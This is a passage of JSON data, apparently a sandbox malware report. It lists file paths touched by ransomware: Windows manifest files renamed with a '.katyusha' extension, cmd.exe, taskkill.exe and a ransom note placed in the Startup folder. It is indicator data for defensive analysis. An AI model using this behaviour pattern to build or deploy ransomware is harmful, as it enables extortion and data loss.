64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_cs-cz_c62186f43ccc23a5.manifest.katyusha","sources":[{"report_type":"sandbox","report_id":"6371f5adcac07a0dee0d13b6"}]},{"path":"C:\\found.000\\dir0001.chk\\amd64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_cy-gb_bb3b9ffc43d4c527.manifest.katyusha","sources":[{"report_type":"sandbox","report_id":"6371f5adcac07a0dee0d13b6"}]},{"path":"C:\\found.000\\dir0001.chk\\amd64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_da-dk_635b671b33121fa4.manifest.katyusha","sources":[{"report_type":"sandbox","report_id":"6371f5adcac07a0dee0d13b6"}]},{"path":"C:\\found.000\\dir0001.chk\\amd64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_de-de_6086fc5734e8743e.manifest.katyusha","sources":[{"report_type":"sandbox","report_id":"6371f5adcac07a0dee0d13b6"}]},{"path":"C:\\found.000\\dir0001.chk\\amd64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_el-gr_091d29ea23fddccc.manifest.katyusha","sources":[{"report_type":"sandbox","report_id":"6371f5adcac07a0dee0d13b6"}]},{"path":"C:\\found.000\\dir0001.chk\\amd64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_en-gb_01ef1732289dcc3e.manifest.katyusha","sources":[{"report_type":"sandbox","report_id":"6371f5adcac07a0dee0d13b6"}]},{"path":"C:\\found.000\\dir0001.chk\\amd64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_en-us_0977d25023c68003.manifest.katyusha","sources":[{"report_type":"sandbox","report_id":"6371f5adcac07a0dee0d13b6"}]},{"path":"C:\\found.000\\dir0001.chk\\amd64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_es-es_09432f3423ed71a8.manifest.katyusha","sources":[{"report_type":"sandbox","report_id":"6371f5adcac07a0dee0d13b6"}]},{"path":"C:\\found.000\\dir0001.chk\\amd64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_es-mx_0b7a1cda22815553.manifest.katyusha","sources":[{"report_type":"sandbox","report_id":"6371f5adcac07a0dee0d13b6"}]},{"path":"C:\\found.000\\dir0001.chk\\amd64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_et-ee_0302fac427f34e37.manifest.katyusha","sources":[{"report_type":"sandbox","report_id":"6371f5adcac07a0dee0d13b6"}]},{"path":"C:\\found.000\\dir0001.chk\\amd64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_fa-ir_acb22f871635f9ec.manifest.katyusha","sources":[{"report_type":"sandbox","report_id":"6371f5adcac07a0dee0d13b6"}]},{"path":"C:\\found.000\\dir0001.chk\\amd64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_fil-ph_4c9932ed5e24ef89.manifest.katyusha","sources":[{"report_type":"sandbox","report_id":"6371f5adcac07a0dee0d13b6"}]},{"path":"C:\\found.000\\dir0001.chk\\amd64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_fr-ca_a470ef7d1b97ee30.manifest.katyusha","sources":[{"report_type":"sandbox","report_id":"6371f5adcac07a0dee0d13b6"}]},{"path":"C:\\found.000\\dir0001.chk\\amd64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_fr-fr_abfaa53316bf880a.manifest.katyusha","sources":[{"report_type":"sandbox","report_id":"6371f5adcac07a0dee0d13b6"}]},{"path":"C:\\found.000\\dir0001.chk\\amd64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_gd-gb_4897be7c0d6eef46.manifest.katyusha","sources":[{"report_type":"sandbox","report_id":"6371f5adcac07a0dee0d13b6"}]},{"path":"C:\\found.000\\dir0001.chk\\amd64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_gl-es_4fcb66ba08d6e883.manifest.katyusha","sources":[{"report_type":"sandbox","report_id":"6371f5adcac07a0dee0d13b6"}]},{"path":"C:\\found.000\\dir0001.chk\\amd64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_gu-in_4d3218680a8d33dd.manifest.katyusha","sources":[{"report_type":"sandbox","report_id":"6371f5adcac07a0dee0d13b6"}]},{"path":"C:\\found.000\\dir0001.chk\\amd64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_ha-..-ng_efa1a927d84240b2.manifest.katyusha","sources":[{"report_type":"sandbox","report_id":"6371f5adcac07a0dee0d13b6"}]},{"path":"C:\\found.000\\dir0001.chk\\amd64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_he-il_f01a4cd4fd2e88f8.manifest.katyusha","sources":[{"report_type":"sandbox","report_id":"6371f5adcac07a0dee0d13b6"}]},{"path":"C:\\found.000\\dir0001.chk\\amd64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_hi-in_f0d21b80fcbd01ca.manifest.katyusha","sources":[{"report_type":"sandbox","report_id":"6371f5adcac07a0dee0d13b6"}]},{"path":"C:\\found.000\\dir0001.chk\\amd64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_hu-hu_f36b257afb1f5726.manifest.katyusha","sources":[{"report_type":"sandbox","report_id":"6371f5adcac07a0dee0d13b6"}]},{"path":"C:\\found.000\\dir0001.chk\\amd64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_id-id_8fb72759f1ff6608.manifest.katyusha","sources":[{"report_type":"sandbox","report_id":"6371f5adcac07a0dee0d13b6"}]},{"path":"C:\\found.000\\dir0001.chk\\amd64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_ig-ng_90eadb37f13d4795.manifest.katyusha","sources":[{"report_type":"sandbox","report_id":"6371f5adcac07a0dee0d13b6"}]},{"path":"C:\\found.000\\dir0001.chk\\amd64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_is-is_95bbe437ee324d10.manifest.katyusha","sources":[{"report_type":"sandbox","report_id":"6371f5adcac07a0dee0d13b6"}]},{"path":"C:\\found.000\\dir0001.chk\\amd64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_it-it_96229b79edf16d88.manifest.katyusha","sources":[{"report_type":"sandbox","report_id":"6371f5adcac07a0dee0d13b6"}]},{"path":"C:\\found.000\\dir0001.chk\\amd64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_ja-jp_38481a86e10c7f63.manifest.katyusha","sources":[{"report_type":"sandbox","report_id":"6371f5adcac07a0dee0d13b6"}]},{"path":"C:\\found.000\\dir0001.chk\\amd64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_ka-ge_d685d3edd6c01dec.manifest.katyusha","sources":[{"report_type":"sandbox","report_id":"6371f5adcac07a0dee0d13b6"}]},{"path":"C:\\found.000\\dir0001.chk\\amd64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_kk-kz_df69705bd114faed.manifest.katyusha","sources":[{"report_type":"sandbox","report_id":"6371f5adcac07a0dee0d13b6"}]},{"path":"C:\\found.000\\dir0001.chk\\amd64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_kn-in_d9f6d7ffd498e52a.manifest.katyusha","sources":[{"report_type":"sandbox","report_id":"6371f5adcac07a0dee0d13b6"}]},{"path":"C:\\found.000\\dir0001.chk\\amd64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_ko-kr_dbb1f73bd37d4679.manifest.katyusha","sources":[{"report_type":"sandbox","report_id":"6371f5adcac07a0dee0d13b6"}]},{"path":"C:\\found.000\\dir0001.chk\\amd64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_kok-in_8954f2bed0ca321e.manifest.katyusha","sources":[{"report_type":"sandbox","report_id":"6371f5adcac07a0dee0d13b6"}]},{"path":"C:\\found.000\\dir0001.chk\\amd64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_ku-..-iq_c46a9298ee4d9365.manifest.katyusha","sources":[{"report_type":"sandbox","report_id":"6371f5adcac07a0dee0d13b6"}]},{"path":"C:\\found.000\\dir0001.chk\\amd64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_ky-kg_d6650909d6f12c16.manifest.katyusha","sources":[{"report_type":"sandbox","report_id":"6371f5adcac07a0dee0d13b6"}]},{"path":"C:\\found.000\\dir0001.chk\\amd64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_lo-la_77462a6ecae7305c.manifest.katyusha","sources":[{"report_type":"sandbox","report_id":"6371f5adcac07a0dee0d13b6"}]},{"path":"C:\\found.000\\dir0001.chk\\amd64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_lt-lt_7f7d233cc5a51216.manifest.katyusha","sources":[{"report_type":"sandbox","report_id":"6371f5adcac07a0dee0d13b6"}]},{"path":"C:\\found.000\\dir0001.chk\\amd64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_lv-lv_804a91c0c5235306.manifest.katyusha","sources":[{"report_type":"sandbox","report_id":"6371f5adcac07a0dee0d13b6"}]},{"path":"C:\\found.000\\dir0001.chk\\amd64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_mi-nz_25bb53edb6274a60.manifest.katyusha","sources":[{"report_type":"sandbox","report_id":"6371f5adcac07a0dee0d13b6"}]},{"path":"C:\\found.000\\dir0001.chk\\amd64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_mk-mk_1efedf2bba7e24b8.manifest.katyusha","sources":[{"report_type":"sandbox","report_id":"6371f5adcac07a0dee0d13b6"}]},{"path":"C:\\found.000\\dir0001.chk\\amd64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_ml-in_2048ffe9b9aae7ba.manifest.katyusha","sources":[{"report_type":"sandbox","report_id":"6371f5adcac07a0dee0d13b6"}]},{"path":"C:\\found.000\\dir0001.chk\\amd64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_mn-mn_203304f1b9bb8620.manifest.katyusha","sources":[{"report_type":"sandbox","report_id":"6371f5adcac07a0dee0d13b6"}]},{"path":"C:\\found.000\\dir0001.chk\\amd64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_mr-in_20082061b9db8f60.manifest.katyusha","sources":[{"report_type":"sandbox","report_id":"6371f5adcac07a0dee0d13b6"}]},{"path":"C:\\found.000\\dir0001.chk\\amd64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_ms-my_24ddc44fb6c143a2.manifest.katyusha","sources":[{"report_type":"sandbox","report_id":"6371f5adcac07a0dee0d13b6"}]},{"path":"C:\\found.000\\dir0001.chk\\amd64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_mt-mt_229b507db83648f0.manifest.katyusha","sources":[{"report_type":"sandbox","report_id":"6371f5adcac07a0dee0d13b6"}]},{"path":"C:\\found.000\\dir0001.chk\\amd64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_nb-no_c4447870aba27235.manifest.katyusha","sources":[{"report_type":"sandbox","report_id":"6371f5adcac07a0dee0d13b6"}]},{"path":"C:\\found.000\\dir0001.chk\\amd64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_ne-np_c4958fdaab71ca8f.manifest.katyusha","sources":[{"report_type":"sandbox","report_id":"6371f5adcac07a0dee0d13b6"}]},{"path":"C:\\found.000\\dir0001.chk\\amd64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_nl-nl_c283c3aeacce7c0a.manifest.katyusha","sources":[{"report_type":"sandbox","report_id":"6371f5adcac07a0dee0d13b6"}]},{"path":"C:\\found.000\\dir0001.chk\\amd64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_nso-za_30759cdc1af7521b.manifest.katyusha","sources":[{"report_type":"sandbox","report_id":"6371f5adcac07a0dee0d13b6"}]},{"path":"C:\\found.000\\dir0001.chk\\amd64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_pa-..-pk_a75d382b17f9fbbf.manifest.katyusha","sources":[{"report_type":"sandbox","report_id":"6371f5adcac07a0dee0d13b6"}]},{"path":"C:\\found.000\\dir0001.chk\\amd64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_pa-in_0a1abb2891050c0a.manifest.katyusha","sources":[{"report_type":"sandbox","report_id":"6371f5adcac07a0dee0d13b6"}]},{"path":"C:\\found.000\\dir0001.chk\\amd64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_pl-pl_08c01e3091f0e9be.manifest.katyusha","sources":[{"report_type":"sandbox","report_id":"6371f5adcac07a0dee0d13b6"}]},{"path":"C:\\found.000\\dir0001.chk\\amd64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_prs-af_3dff0e07e96f2c20.manifest.katyusha","sources":[{"report_type":"sandbox","report_id":"6371f5adcac07a0dee0d13b6"}]},{"path":"C:\\found.000\\dir0001.chk\\amd64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_pt-br_0b1408d4907a7da2.manifest.katyusha","sources":[{"report_type":"sandbox","report_id":"6371f5adcac07a0dee0d13b6"}]},{"path":"C:\\found.000\\dir0001.chk\\amd64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_pt-pt_0bf5d8408fe9ed7e.manifest.katyusha","sources":[{"report_type":"sandbox","report_id":"6371f5adcac07a0dee0d13b6"}]},{"path":"C:\\found.000\\dir0001.chk\\amd64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_quc..-gt_2a57c6783ce9c022.manifest.katyusha","sources":[{"report_type":"sandbox","report_id":"6371f5adcac07a0dee0d13b6"}]},{"path":"C:\\found.000\\dir0001.chk\\amd64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_quz-pe_70168e91317ac39f.manifest.katyusha","sources":[{"report_type":"sandbox","report_id":"6371f5adcac07a0dee0d13b6"}]},{"path":"C:\\found.000\\dir0001.chk\\amd64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_ro-ro_50309e787650b8da.manifest.katyusha","sources":[{"report_type":"sandbox","report_id":"6371f5adcac07a0dee0d13b6"}]},{"path":"C:\\found.000\\dir0001.chk\\amd64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_ru-ru_5298ea0474cb7baa.manifest.katyusha","sources":[{"report_type":"sandbox","report_id":"6371f5adcac07a0dee0d13b6"}]},{"path":"C:\\found.000\\dir0001.chk\\amd64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_sd-..-pk_e84e7b1b3fcd2927.manifest.katyusha","sources":[{"report_type":"sandbox","report_id":"6371f5adcac07a0dee0d13b6"}]},{"path":"C:\\found.000\\dir0001.chk\\amd64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_si-lk_f1ca2e0169d4828b.manifest.katyusha","sources":[{"report_type":"sandbox","report_id":"6371f5adcac07a0dee0d13b6"}]},{"path":"C:\\found.000\\dir0001.chk\\amd64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_sk-sk_f1b3eeb169e56dd4.manifest.katyusha","sources":[{"report_type":"sandbox","report_id":"6371f5adcac07a0dee0d13b6"}]},{"path":"C:\\found.000\\dir0001.chk\\amd64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_sl-si_f0c610696a7f80b7.manifest.katyusha","sources":[{"report_type":"sandbox","report_id":"6371f5adcac07a0dee0d13b6"}]},{"path":"C:\\found.000\\dir0001.chk\\amd64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_sq-al_f1e6306769cb4caf.manifest.katyusha","sources":[{"report_type":"sandbox","report_id":"6371f5adcac07a0dee0d13b6"}]},{"path":"C:\\found.000\\dir0001.chk\\amd64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_sr-..-ba_4dd9cfb77e69eefb.manifest.katyusha","sources":[{"report_type":"sandbox","report_id":"6371f5adcac07a0dee0d13b6"}]},{"path":"C:\\found.000\\dir0001.chk\\amd64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_sr-..-rs_542fa3ff7a6c2e5d.manifest.katyusha","sources":[{"report_type":"sandbox","report_id":"6371f5adcac07a0dee0d13b6"}]},{"path":"C:\\found.000\\dir0001.chk\\amd64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_sr-..-rs_96f678addf9127e8.manifest.katyusha","sources":[{"report_type":"sandbox","report_id":"6371f5adcac07a0dee0d13b6"}]},{"path":"C:\\found.000\\dir0001.chk\\amd64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_sv-se_ee93d4796bf48605.manifest.katyusha","sources":[{"report_type":"sandbox","report_id":"6371f5adcac07a0dee0d13b6"}]},{"path":"C:\\found.000\\dir0001.chk\\amd64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_sw-ke_ee89bacd6bfbd4ee.manifest.katyusha","sources":[{"report_type":"sandbox","report_id":"6371f5adcac07a0dee0d13b6"}]},{"path":"C:\\found.000\\dir0001.chk\\amd64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_te-in_96688b9c5b69f0b2.manifest.katyusha","sources":[{"report_type":"sandbox","report_id":"6371f5adcac07a0dee0d13b6"}]},{"path":"C:\\found.000\\dir0001.chk\\amd64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_tg-..-tj_a5e21f1c9ac1371e.manifest.katyusha","sources":[{"report_type":"sandbox","report_id":"6371f5adcac07a0dee0d13b6"}]},{"path":"C:\\found.000\\dir0001.chk\\amd64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_th-th_939df62c5d394346.manifest.katyusha","sources":[{"report_type":"sandbox","report_id":"6371f5adcac07a0dee0d13b6"}]},{"path":"C:\\found.000\\dir0001.chk\\amd64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_ti-et_98e6d22059d4151c.manifest.katyusha","sources":[{"report_type":"sandbox","report_id":"6371f5adcac07a0dee0d13b6"}]},{"path":"C:\\found.000\\dir0001.chk\\amd64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_tk-tm_95b52a4e5be4adbc.manifest.katyusha","sources":[{"report_type":"sandbox","report_id":"6371f5adcac07a0dee0d13b6"}]},{"path":"C:\\found.000\\dir0001.chk\\amd64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_tn-za_9041dbb25f696501.manifest.katyusha","sources":[{"report_type":"sandbox","report_id":"6371f5adcac07a0dee0d13b6"}]},{"path":"C:\\found.000\\dir0001.chk\\amd64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_tr-tr_97a11ec05ab087f6.manifest.katyusha","sources":[{"report_type":"sandbox","report_id":"6371f5adcac07a0dee0d13b6"}]},{"path":"C:\\found.000\\dir0001.chk\\amd64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_ug-cn_3971b87d4e0aac07.manifest.katyusha","sources":[{"report_type":"sandbox","report_id":"6371f5adcac07a0dee0d13b6"}]},{"path":"C:\\found.000\\dir0001.chk\\amd64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_uk-ua_3381016751e1ae42.manifest.katyusha","sources":[{"report_type":"sandbox","report_id":"6371f5adcac07a0dee0d13b6"}]},{"path":"C:\\found.000\\dir0001.chk\\amd64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_ur-pk_37a50ba74f401efa.manifest.katyusha","sources":[{"report_type":"sandbox","report_id":"6371f5adcac07a0dee0d13b6"}]},{"path":"C:\\found.000\\dir0001.chk\\amd64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_uz-..-uz_7b3c07d16f86f6aa.manifest.katyusha","sources":[{"report_type":"sandbox","report_id":"6371f5adcac07a0dee0d13b6"}]},{"path":"C:\\found.000\\dir0001.chk\\amd64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_vi-vn_dc78abd640ade815.manifest.katyusha","sources":[{"report_type":"sandbox","report_id":"6371f5adcac07a0dee0d13b6"}]},{"path":"C:\\found.000\\dir0001.chk\\amd64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_wo-sn_7f5654af336f6011.manifest.katyusha","sources":[{"report_type":"sandbox","report_id":"6371f5adcac07a0dee0d13b6"}]},{"path":"C:\\found.000\\dir0001.chk\\amd64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_xh-za_1cfbcb5e297d323f.manifest.katyusha","sources":[{"report_type":"sandbox","report_id":"6371f5adcac07a0dee0d13b6"}]},{"path":"C:\\found.000\\dir0001.chk\\amd64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_yo-ng_c2789c671a8ffaad.manifest.katyusha","sources":[{"report_type":"sandbox","report_id":"6371f5adcac07a0dee0d13b6"}]},{"path":"C:\\found.000\\dir0001.chk\\amd64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_zh-cn_68fe3cbe0ae85a15.manifest.katyusha","sources":[{"report_type":"sandbox","report_id":"6371f5adcac07a0dee0d13b6"}]},{"path":"C:\\found.000\\dir0001.chk\\amd64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_zh-tw_6cfa7a1408593685.manifest.katyusha","sources":[{"report_type":"sandbox","report_id":"6371f5adcac07a0dee0d13b6"}]},{"path":"C:\\found.000\\dir0001.chk\\amd64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_zu-za_62abc4740f08d7ee.manifest.katyusha","sources":[{"report_type":"sandbox","report_id":"6371f5adcac07a0dee0d13b6"}]},{"path":"C:\\found.000\\dir0001.chk\\amd64_microsoft-windows-mccs-syncutil_31bf3856ad364e35_10.0.17134.1_none_ac07bc780c55bac6.manifest.katyusha","sources":[{"report_type":"sandbox","report_id":"6371f5adcac07a0dee0d13b6"}]},{"path":"C:\\found.000\\dir0001.chk\\microsoft-onecore-applicationmodel-sync-desktop-fod-package~31bf3856ad364e35~amd64~~10.0.17134.1.cat.katyusha","sources":[{"report_type":"sandbox","report_id":"6371f5adcac07a0dee0d13b6"}]},{"path":"C:\\found.000\\dir0001.chk\\microsoft-onecore-applicationmodel-sync-desktop-fod-package~31bf3856ad364e35~amd64~~10.0.17134.1.mum.katyusha","sources":[{"report_type":"sandbox","report_id":"6371f5adcac07a0dee0d13b6"}]},{"path":"C:\\found.000\\dir0001.chk\\microsoft-onecore-applicationmodel-sync-desktop-fod-package~31bf3856ad364e35~wow64~~10.0.17134.1.cat.katyusha","sources":[{"report_type":"sandbox","report_id":"6371f5adcac07a0dee0d13b6"}]},{"path":"C:\\found.000\\dir0001.chk\\update.cat.katyusha","sources":[{"report_type":"sandbox","report_id":"6371f5adcac07a0dee0d13b6"}]},{"path":"C:\\found.000\\dir0001.chk\\update.mum.katyusha","sources":[{"report_type":"sandbox","report_id":"6371f5adcac07a0dee0d13b6"}]},{"path":"C:\\found.000\\dir0001.chk\\wow64_microsoft-onecore-a..od-wow64-deployment_31bf3856ad364e35_10.0.17134.1_none_3cfd55ef5791c82f.manifest.katyusha","sources":[{"report_type":"sandbox","report_id":"6371f5adcac07a0dee0d13b6"}]},{"path":"C:\\found.000\\dir0001.chk\\wow64_microsoft-windows-m..-activesyncprovider_31bf3856ad364e35_10.0.17134.1_none_af4043f89451de7e.manifest.katyusha","sources":[{"report_type":"sandbox","report_id":"6371f5adcac07a0dee0d13b6"}]},{"path":"C:\\found.000\\dir0001.chk\\wow64_microsoft-windows-m..-syncutil.resources_31bf3856ad364e35_10.0.17134.1_en-us_28277b9606d3ec06.manifest.katyusha","sources":[{"report_type":"sandbox","report_id":"6371f5adcac07a0dee0d13b6"}]},{"path":"C:\\found.000\\dir0001.chk\\wow64_microsoft-windows-m..aphostres.resources_31bf3856ad364e35_10.0.17134.1_cs-cz_20835d8c52defe66.manifest.katyusha","sources":[{"report_type":"sandbox","report_id":"6371f5adcac07a0dee0d13b6"}]},{"path":"C:\\found.000\\dir0001.chk\\wow64_microsoft-windows-m..aphostres.resources_31bf3856ad364e35_10.0.17134.1_da-dk_bdbd3db34924fa65.manifest.katyusha","sources":[{"report_type":"sandbox","report_id":"6371f5adcac07a0dee0d13b6"}]},{"path":"C:\\found.000\\dir0001.chk\\wow64_microsoft-windows-m..aphostres.resources_31bf3856ad364e35_10.0.17134.1_de-de_bae8d2ef4afb4eff.manifest.katyusha","sources":[{"report_type":"sandbox","report_id":"6371f5adcac07a0dee0d13b6"}]},{"path":"C:\\found.000\\dir0001.chk\\wow64_microsoft-windows-m..aphostres.resources_31bf3856ad364e35_10.0.17134.1_el-gr_637f00823a10b78d.manifest.katyusha","sources":[{"report_type":"sandbox","report_id":"6371f5adcac07a0dee0d13b6"}]},{"path":"C:\\found.000\\dir0001.chk\\wow64_microsoft-windows-m..aphostres.resources_31bf3856ad364e35_10.0.17134.1_en-us_63d9a8e839d95ac4.manifest.katyusha","sources":[{"report_type":"sandbox","report_id":"6371f5adcac07a0dee0d13b6"}]},{"path":"C:\\found.000\\dir0001.chk\\wow64_microsoft-windows-m..aphostres.resources_31bf3856ad364e35_10.0.17134.1_es-es_63a505cc3a004c69.manifest.katyusha","sources":[{"report_type":"sandbox","report_id":"6371f5adcac07a0dee0d13b6"}]},{"path":"C:\\found.000\\dir0001.chk\\wow64_microsoft-windows-m..aphostres.resources_31bf3856ad364e35_10.0.17134.1_fi-fi_02c00a792f1a3e93.manifest.katyusha","sources":[{"report_type":"sandbox","report_id":"6371f5adcac07a0dee0d13b6"}]},{"path":"C:\\found.000\\dir0001.chk\\wow64_microsoft-windows-m..aphostres.resources_31bf3856ad364e35_10.0.17134.1_fr-fr_065c7bcb2cd262cb.manifest.katyusha","sources":[{"report_type":"sandbox","report_id":"6371f5adcac07a0dee0d13b6"}]},{"path":"C:\\found.000\\dir0001.chk\\wow64_microsoft-windows-m..aphostres.resources_31bf3856ad364e35_10.0.17134.1_hu-hu_4dccfc13113231e7.manifest.katyusha","sources":[{"report_type":"sandbox","report_id":"6371f5adcac07a0dee0d13b6"}]},{"path":"C:\\found.000\\dir0001.chk\\wow64_microsoft-windows-m..aphostres.resources_31bf3856ad364e35_10.0.17134.1_it-it_f084721204044849.manifest.katyusha","sources":[{"report_type":"sandbox","report_id":"6371f5adcac07a0dee0d13b6"}]},{"path":"%WINDIR%\\System32\\en-US\\msctf.dll.mui","sources":[{"report_type":"sandbox","report_id":"5bdff5a37ca3e1433d19f8da"}]},{"path":"%WINDIR%\\System32\\en-US\\setupapi.dll.mui","sources":[{"report_type":"sandbox","report_id":"5bdff5a37ca3e1433d19f8da"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Caches\\{AFBF9F1A-8EE8-4C77-AF34-C647E37CA0D9}.1.ver0x000000000000000c.db","sources":[{"report_type":"sandbox","report_id":"5bdff5a37ca3e1433d19f8da"}]},{"path":"%USERPROFILE%\\Desktop\\desktop.ini","sources":[{"report_type":"sandbox","report_id":"5bdff5a37ca3e1433d19f8da"}]},{"path":"%WINDIR%\\System32\\en-US\\propsys.dll.mui","sources":[{"report_type":"sandbox","report_id":"5bdff5a37ca3e1433d19f8da"}]},{"path":"%WINDIR%\\System32\\oleaccrc.dll","sources":[{"report_type":"sandbox","report_id":"5bdff5a37ca3e1433d19f8da"}]},{"path":"C:\\Windows","sources":[{"report_type":"sandbox","report_id":"5bdff5a37ca3e1433d19f8da"}]},{"path":"%WINDIR%\\System32","sources":[{"report_type":"sandbox","report_id":"5bdff5a37ca3e1433d19f8da"}]},{"path":"%WINDIR%\\System32\\cmd.exe","sources":[{"report_type":"sandbox","report_id":"5bdff5a37ca3e1433d19f8da"}]},{"path":"%WINDIR%\\System32\\tzres.dll","sources":[{"report_type":"sandbox","report_id":"5bdff5a37ca3e1433d19f8da"}]},{"path":"%WINDIR%\\System32\\en-US\\tzres.dll.mui","sources":[{"report_type":"sandbox","report_id":"5bdff5a37ca3e1433d19f8da"}]},{"path":"%WINDIR%\\Temp\\s","sources":[{"report_type":"sandbox","report_id":"5bdff5a37ca3e1433d19f8da"}]},{"path":"%WINDIR%\\System32\\en-US\\taskkill.exe.mui","sources":[{"report_type":"sandbox","report_id":"5bdff5a37ca3e1433d19f8da"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\_how_to_decrypt_you_files.txt","sources":[{"report_type":"sandbox","report_id":"5bdff5a37ca3e1433d19f8da"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\Windows\\Start 